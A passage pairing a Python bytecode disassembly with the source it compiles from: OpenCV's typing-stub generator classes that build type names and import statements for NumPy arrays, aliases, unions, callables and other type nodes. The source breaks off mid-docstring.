LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Dict[{}]' RETURN_VALUE LOAD_CONST 'dict[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CallableTypeNode' STORE_NAME __qualname__ LOAD_CONST "Type node representing a callable type (most probably a function).\n\n ```python\n CallableTypeNode(\n 'image_reading_callback',\n arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_())\n )\n ```\n defines a callable type node representing a function with the same\n interface as the following\n ```python\n def image_reading_callback(image: Image, timestamp: float) -> None: ...\n ```\n " STORE_NAME __doc__ LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42bd8a50, file "f.py", line 864> LOAD_CONST 'CallableTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arg_types at 0x7fab42bd8540, file "f.py", line 875> LOAD_CONST 'CallableTypeNode.arg_types' MAKE_FUNCTION CALL_FUNCTION STORE_NAME arg_types LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object ret_type at 0x7fab42bd8e40, file "f.py", line 879> LOAD_CONST 'CallableTypeNode.ret_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ret_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab42bd8b70, file "f.py", line 883> LOAD_CONST 'CallableTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab42bd81e0, file "f.py", line 889> LOAD_CONST 'CallableTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab42bd85d0, file "f.py", line 896> LOAD_CONST 'CallableTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7fab42bd8300, file "f.py", line 902> LOAD_CONST 'CallableTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7fab42bd88a0, file "f.py", line 907> LOAD_CONST 'CallableTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST arg_types LOAD_GLOBAL TypeNode CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE CALL_METHOD POP_TOP JUMP_FORWARD to 50 LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST -1 BINARY_SUBSCR RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab42bd8db0, file "f.py", line 886> LOAD_CONST 'CallableTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab42bd84b0, file "f.py", line 892> LOAD_CONST 'CallableTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR full_typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab42bd8d20, file "f.py", line 898> LOAD_CONST 'CallableTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST arg LOAD_FAST arg LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClassTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing types themselves (refer to typing.Type)' STORE_NAME __doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42bd8f60, file "f.py", line 916> LOAD_CONST 'ClassTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42bd8c90, file "f.py", line 919> LOAD_CONST 'ClassTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42bd8270, file "f.py", line 923> LOAD_CONST 'ClassTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Type[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_GLOBAL str LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_CONST ('scope', 'scope_sep', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE full_symbol_name BUILD_TUPLE LOAD_CONST <code object search_down_symbol at 0x7fab543a41e0, file "f.py", line 963> LOAD_CONST '_resolve_symbol.<locals>.search_down_symbol' MAKE_FUNCTION STORE_FAST search_down_symbol LOAD_DEREF root LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't resolve symbol '{}' from NONE root" LOAD_METHOD format LOAD_DEREF full_symbol_name CALL_METHOD CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 114 LOAD_GLOBAL filter LOAD_CLOSURE root BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab543a48a0, file "f.py", line 981> LOAD_CONST '_resolve_symbol.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('namespaces', 'classes', 'enumerations') CALL_FUNCTION GET_ITER FOR_ITER to 112 STORE_FAST attr LOAD_GLOBAL getattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION STORE_FAST nodes_dict LOAD_FAST nodes_dict LOAD_METHOD get LOAD_DEREF full_symbol_name LOAD_CONST None CALL_METHOD STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 150 LOAD_CONST ('_', '.') GET_ITER FOR_ITER to 148 STORE_FAST scope_sep LOAD_FAST search_down_symbol LOAD_DEREF root LOAD_FAST scope_sep CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_DEREF full_symbol_name LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts SETUP_LOOP to 102 LOAD_GLOBAL len LOAD_FAST parts CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST scope LOAD_FAST scope LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL hasattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION RETURN_VALUE
from typing import Sequence, Generator, Tuple, Optional, Union import weakref import abc from .node import ASTNode, ASTNodeType class TypeResolutionError(Exception): pass class TypeNode(abc.ABC): """This class and its derivatives used for construction parts of AST that otherwise can't be constructed from the information provided by header parser, because this information is either not available at that moment of time or not available at all: - There is no possible way to derive correspondence between C++ type and its Python equivalent if it is not exposed from library e.g. `cv::Rect`. - There is no information about types visibility (see `ASTNodeTypeNode`). """ compatible_to_runtime_usage = False """Class-wide property that switches exported type names for several nodes. Example: >>> node = OptionalTypeNode(ASTNodeTypeNode("Size")) >>> node.typename # TypeNode.compatible_to_runtime_usage == False "Size | None" >>> TypeNode.compatible_to_runtime_usage = True >>> node.typename "typing.Optional[Size]" """ def __init__(self, ctype_name: str) -> None: self.ctype_name = ctype_name @abc.abstractproperty def typename(self) -> str: """Short name of the type node used that should be used in the same module (or a file) where type is defined. Returns: str: short name of the type node. """ pass @property def full_typename(self) -> str: """Full name of the type node including full module name starting from the package. Example: 'cv2.Algorithm', 'cv2.gapi.ie.PyParams'. Returns: str: full name of the type node. """ return self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node definition (especially used by `AliasTypeNode`). Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_definition_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def required_usage_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node usage. Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_usage_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def is_resolved(self) -> bool: return True def relative_typename(self, module_full_export_name: str) -> str: """Type name relative to the provided module. Args: module_full_export_name (str): Full export name of the module to get relative name to. Returns: str: If module name of the type node doesn't match `module`, then returns class scopes + `self.typename`, otherwise `self.full_typename`. """ return self.full_typename def resolve(self, root: ASTNode) -> None: """Resolves all references to AST nodes using a top-down search for nodes with corresponding export names. See `_resolve_symbol` for more details. Args: root (ASTNode): Node pointing to the root of a subtree in AST representing search scope of the symbol. Most of the symbols don't have full paths in their names, so scopes should be examined in bottom-up manner starting with narrowest one. Raises: TypeResolutionError: if at least 1 reference to AST node can't be resolved in the subtree pointed by the root. """ pass class NoneTypeNode(TypeNode): """Type node representing a None (or `void` in C++) type.""" @property def typename(self) -> str: return "None" class AnyTypeNode(TypeNode): """Type node representing any type (most of the time it means unknown).""" @property def typename(self) -> str: return "_typing.Any" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" class PrimitiveTypeNode(TypeNode): """Type node representing a primitive built-in types e.g. int, float, str.""" def __init__(self, ctype_name: str, typename: Optional[str] = None) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name @property def typename(self) -> str: return self._typename @classmethod def int_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "int" return PrimitiveTypeNode(ctype_name, typename="int") @classmethod def float_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "float" return PrimitiveTypeNode(ctype_name, typename="float") @classmethod def bool_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "bool" return PrimitiveTypeNode(ctype_name, typename="bool") @classmethod def str_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "string" return PrimitiveTypeNode(ctype_name, "str") class AliasRefTypeNode(TypeNode): """Type node representing an alias referencing another alias. Example: ```python Point2i = tuple[int, int] Point = Point2i ``` During typing stubs generation procedure above code section might be defined as follows ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) AliasTypeNode.ref_("Point", "Point2i") ``` """ def __init__(self, alias_ctype_name: str, alias_export_name: Optional[str] = None): super().__init__(alias_ctype_name) if alias_export_name is None: self.alias_export_name = alias_ctype_name else: self.alias_export_name = alias_export_name @property def typename(self) -> str: return self.alias_export_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename class AliasTypeNode(TypeNode): """Type node representing an alias to another type. Example: ```python Point2i = tuple[int, int] ``` can be defined as ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) ``` Under the hood it is implemented as a container of another type node. """ def __init__( self, ctype_name: str, value: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ) -> None: super().__init__(ctype_name) self.value = value self._export_name = export_name self.doc = doc @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: return self.value.required_usage_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return self.value.is_resolved def resolve(self, root: ASTNode): try: self.value.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def int_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.int_(), export_name, doc) @classmethod def float_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.float_(), export_name, doc) @classmethod def array_ref_( cls, ctype_name: str, array_ref_name: str, shape: Optional[Tuple[int, ...]], dtype: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): """Create alias to array reference alias `array_ref_name`. This is required to preserve backward compatibility with Python < 3.9 and NumPy 1.20, when NumPy module introduces generics support. Args: ctype_name (str): Name of the alias. array_ref_name (str): Name of the conditional array alias. shape (Optional[Tuple[int, ...]]): Array shape. dtype (Optional[str], optional): Array type. Defaults to None. export_name (Optional[str], optional): Alias export name. Defaults to None. doc (Optional[str], optional): Documentation string for alias. Defaults to None. """ if doc is None: doc = f"NDArray(shape={shape}, dtype={dtype})" else: doc += f". NDArray(shape={shape}, dtype={dtype})" return cls(ctype_name, AliasRefTypeNode(array_ref_name), export_name, doc) @classmethod def union_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, UnionTypeNode(ctype_name, items), export_name, doc) @classmethod def optional_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, OptionalTypeNode(item), export_name, doc) @classmethod def sequence_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, SequenceTypeNode(ctype_name, item), export_name, doc) @classmethod def tuple_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, TupleTypeNode(ctype_name, items), export_name, doc) @classmethod def class_( cls, ctype_name: str, class_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, ASTNodeTypeNode(class_name), export_name, doc) @classmethod def callable_( cls, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, CallableTypeNode(ctype_name, arg_types, ret_type), export_name, doc, ) @classmethod def ref_( cls, ctype_name: str, alias_ctype_name: str, alias_export_name: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, AliasRefTypeNode(alias_ctype_name, alias_export_name), export_name, doc, ) @classmethod def dict_( cls, ctype_name: str, key_type: TypeNode, value_type: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, DictTypeNode(ctype_name, key_type, value_type), export_name, doc ) class ConditionalAliasTypeNode(TypeNode): """Type node representing an alias protected by condition checked in runtime. For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see: https://github.com/opencv/opencv/pull/23927#discussion_r1256326835 Example: ```python if typing.TYPE_CHECKING NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]] else: NumPyArray = numpy.ndarray ``` is defined as follows: ```python ConditionalAliasTypeNode( "NumPyArray", 'typing.TYPE_CHECKING', NDArrayTypeNode("NumPyArray"), NDArrayTypeNode("NumPyArray", use_numpy_generics=False), condition_required_imports=("import typing",) ) ``` """ def __init__( self, ctype_name: str, condition: str, positive_branch_type: TypeNode, negative_branch_type: TypeNode, export_name: Optional[str] = None, condition_required_imports: Sequence[str] = (), ) -> None: super().__init__(ctype_name) self.condition = condition self.positive_branch_type = positive_branch_type self.positive_branch_type.ctype_name = self.ctype_name self.negative_branch_type = negative_branch_type self.negative_branch_type.ctype_name = self.ctype_name self._export_name = export_name self._condition_required_imports = condition_required_imports @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: yield from self.positive_branch_type.required_usage_imports yield from self.negative_branch_type.required_usage_imports yield from self._condition_required_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return ( self.positive_branch_type.is_resolved and self.negative_branch_type.is_resolved ) def resolve(self, root: ASTNode): try: self.positive_branch_type.resolve(root) self.negative_branch_type.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def numpy_array_( cls, ctype_name: str, export_name: Optional[str] = None, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, ): """Type subscription is not possible in python 3.8 and older numpy versions.""" return cls( ctype_name, "_typing.TYPE_CHECKING", NDArrayTypeNode(ctype_name, shape, dtype), NDArrayTypeNode(ctype_name, shape, dtype, use_numpy_generics=False), condition_required_imports=("import typing as _typing",), ) class NDArrayTypeNode(TypeNode): """Type node representing NumPy ndarray.""" def __init__( self, ctype_name: str, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, use_numpy_generics: bool = True, ) -> None: super().__init__(ctype_name) self.shape = shape self.dtype = dtype self._use_numpy_generics = use_numpy_generics @property def typename(self) -> str: if self._use_numpy_generics: dtype = self.dtype if self.dtype is not None else "numpy.generic" return f"numpy.ndarray[_typing.Any, numpy.dtype[{dtype}]]" return "numpy.ndarray" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import numpy" yield "import typing as _typing" class ASTNodeTypeNode(TypeNode): """Type node representing a lazy ASTNode corresponding to type of function argument or its return type or type of class property. Introduced laziness nature resolves the types visibility issue - all types should be known during function declaration to select an appropriate node from the AST. Such knowledge leads to evaluation of all preprocessor directives (`#include` particularly) for each processed header and might be too expensive and error prone. """ def __init__( self, ctype_name: str, typename: Optional[str] = None, module_name: Optional[str] = None, ) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name self._module_name = module_name self._ast_node: Optional[weakref.ProxyType[ASTNode]] = None @property def ast_node(self): return self._ast_node @property def typename(self) -> str: if self._ast_node is None: return self._typename typename = self._ast_node.export_name if self._ast_node.node_type is not ASTNodeType.Enumeration: return typename parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return typename @property def full_typename(self) -> str: if self._ast_node is not None: if self._ast_node.node_type is not ASTNodeType.Enumeration: return self._ast_node.full_export_name typename = self._ast_node.export_name parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return parent.full_export_name + "." + typename if self._module_name is not None: return self._module_name + "." + self._typename return self._typename @property def required_usage_imports(self) -> Generator[str, None, None]: if self._module_name is None: assert ( self._ast_node is not None ), "Can't find a module for class '{}' exported as '{}'".format( self.ctype_name, self.typename, ) module = self._ast_node.parent while module.node_type is not ASTNodeType.Namespace: module = module.parent yield "import " + module.full_export_name else: yield "import " + self._module_name @property def is_resolved(self) -> bool: return self._ast_node is not None or self._module_name is not None def resolve(self, root: ASTNode): if self.is_resolved: return node = _resolve_symbol(root, self.typename) if node is None: raise TypeResolutionError( 'Failed to resolve "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) self._ast_node = weakref.proxy(node) def relative_typename(self, module: str) -> str: assert ( self._ast_node is not None or self._module_name is not None ), "'{}' exported as '{}' is not resolved yet".format( self.ctype_name, self.typename ) if self._module_name is None: type_module = self._ast_node.parent # type: ignore while type_module.node_type is not ASTNodeType.Namespace: type_module = type_module.parent module_name = type_module.full_export_name else: module_name = self._module_name if module_name != module: return self.full_typename return self.full_typename[len(module_name) + 1 :] class AggregatedTypeNode(TypeNode): """Base type node for type nodes representing an aggregation of another type nodes e.g. tuple, sequence or callable.""" def __init__(self, ctype_name: str, items: Sequence[TypeNode]) -> None: super().__init__(ctype_name) self.items = list(items) @property def is_resolved(self) -> bool: return all(item.is_resolved for item in self.items) def resolve(self, root: ASTNode) -> None: errors = [] for item in filter(lambda item: not item.is_resolved, self): try: item.resolve(root) except TypeResolutionError as e: errors.append(str(e)) if len(errors) > 0: raise TypeResolutionError( 'Failed to resolve one of "{}" items. Errors: {}'.format( self.full_typename, errors ) ) def __iter__(self): return iter(self.items) def __len__(self) -> int: return len(self.items) @property def required_definition_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_usage_imports class ContainerTypeNode(AggregatedTypeNode): """Base type node for all type nodes representing a container type.""" @property def typename(self) -> str: return self.type_format.format( self.types_separator.join(item.typename for item in self) ) @property def full_typename(self) -> str: return self.type_format.format( self.types_separator.join(item.full_typename for item in self) ) def relative_typename(self, module: str) -> str: return self.type_format.format( self.types_separator.join(item.relative_typename(module) for item in self) ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: if TypeNode.compatible_to_runtime_usage: yield "import typing as _typing" yield from super().required_usage_imports @abc.abstractproperty def type_format(self) -> str: pass @abc.abstractproperty def types_separator(self) -> str: pass class SequenceTypeNode(ContainerTypeNode): """Type node representing a homogeneous collection of elements with possible unknown length. """ def __init__(self, ctype_name: str, item: TypeNode) -> None: super().__init__(ctype_name, (item,)) @property def type_format(self) -> str: return "_typing.Sequence[{}]" @property def types_separator(self) -> str: return ", " class TupleTypeNode(ContainerTypeNode): """Type node representing possibly heterogeneous collection of types with possibly unspecified length. """ @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Tuple[{}]" return "tuple[{}]" @property def types_separator(self) -> str: return ", " class UnionTypeNode(ContainerTypeNode): """Type node representing type that can be one of the predefined set of types.""" @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Union[{}]" return "{}" @property def types_separator(self) -> str: if TypeNode.compatible_to_runtime_usage: return ", " return " | " class OptionalTypeNode(ContainerTypeNode): """Type node representing optional type which is effectively is a union of value type node and None. """ def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Optional[{}]" return "{} | None" @property def types_separator(self) -> str: return ", " class DictTypeNode(ContainerTypeNode): """Type node representing a homogeneous key-value mapping.""" def __init__( self, ctype_name: str, key_type: TypeNode, value_type: TypeNode ) -> None: super().__init__(ctype_name, (key_type, value_type)) @property def key_type(self) -> TypeNode: return self.items[0] @property def value_type(self) -> TypeNode: return self.items[1] @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Dict[{}]" return "dict[{}]" @property def types_separator(self) -> str: return ", " class CallableTypeNode(AggregatedTypeNode): """Type node representing a callable type (most probably a function). ```python CallableTypeNode( 'image_reading_callback', arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_()) ) ``` defines a callable type node representing a function with the same interface as the following ```python def image_reading_callback(image: Image, timestamp: float) -> None: ... ``` """ def __init__( self, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), ) -> None: if isinstance(arg_types, TypeNode): super().__init__(ctype_name, (arg_types, ret_type)) else: super().__init__(ctype_name, (*arg_types, ret_type)) @property def arg_types(self) -> Sequence[TypeNode]: return self.items[:-1] @property def ret_type(self) -> TypeNode: return self.items[-1] @property def typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.typename for arg in self.arg_types), self.ret_type.typename ) @property def full_typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.full_typename for arg in self.arg_types), self.ret_type.full_typename, ) def relative_typename(self, module: str) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.relative_typename(module) for arg in self.arg_types), self.ret_type.relative_typename(module), ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_usage_imports class ClassTypeNode(ContainerTypeNode): """Type node representing types themselves (refer to typing.Type)""" def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: return "_typing.Type[{}]" @property def types_separator(self) -> str: return ", " def _resolve_symbol( root: Optional[ASTNode], full_symbol_name: str ) -> Optional[ASTNode]: """Searches for a symbol with the given full export name in the AST starting from the `root`. Args: root (Optional[ASTNode]): Root of the examining AST. full_symbol_name (str): Full export name of the symbol to find. Path components can be divided by '.' or '_'. Returns: Optional[ASTNode]: ASTNode with full export name equal to 